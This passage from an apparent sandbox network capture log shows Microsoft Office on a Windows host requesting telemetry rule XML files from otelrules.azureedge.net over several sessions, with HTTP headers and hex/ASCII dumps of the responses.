2024-10-07 11:26:50 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49821	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:50 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 4d8e5842-701e-0021-0efe-163d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112650Z-1657d5bbd48cpbzgkvtewk0wu000000003e000000000cu3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:51 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49822	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:50 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 8a56303a-c01e-0066-0f01-17a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112650Z-1657d5bbd48xdq5dkwwugdpzr000000003qg00000000az91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:51 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49823	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:50 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:50 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: cd0b82ba-d01e-0049-1304-17e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112650Z-1657d5bbd48vhs7r2p1ky7cs5w00000003mg00000000ffut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:51 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49824	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:51 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 0c184816-a01e-000d-72ff-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112651Z-1657d5bbd48xdq5dkwwugdpzr000000003n000000000f5k6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49825	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:51 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:51 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: d3a3eb01-b01e-003d-1ef1-16d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112651Z-1657d5bbd48xdq5dkwwugdpzr000000003ng00000000efzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:51 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49826	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:51 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: ca2bab4f-201e-0071-5e14-17ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112651Z-1657d5bbd48lknvp09v995n79000000002z000000000dx4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:51 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49828	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:51 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4ef38422-401e-000a-160c-174a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112651Z-1657d5bbd48sdh4cyzadbb3748000000036000000000ctrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49829	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:51 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:52 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:52 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: c326dec7-201e-0003-0c12-17f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112652Z-1657d5bbd48q6t9vvmrkd293mg00000003e00000000053tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:52 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49830	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:52 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:52 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:52 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 75ef523f-601e-000d-02f2-162618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112652Z-1657d5bbd48jwrqbupe3ktsx9w00000003g000000000g4dc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:52 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49831	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:52 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:52 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:52 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: cad35e9e-b01e-0021-3602-17cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112652Z-1657d5bbd482lxwq1dp2t1zwkc000000034000000000ax4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:52 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49832	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:52 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:52 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:52 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 87e265fd-201e-0051-4fe7-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112652Z-1657d5bbd48brl8we3nu8cxwgn00000003tg000000003u53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:52 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 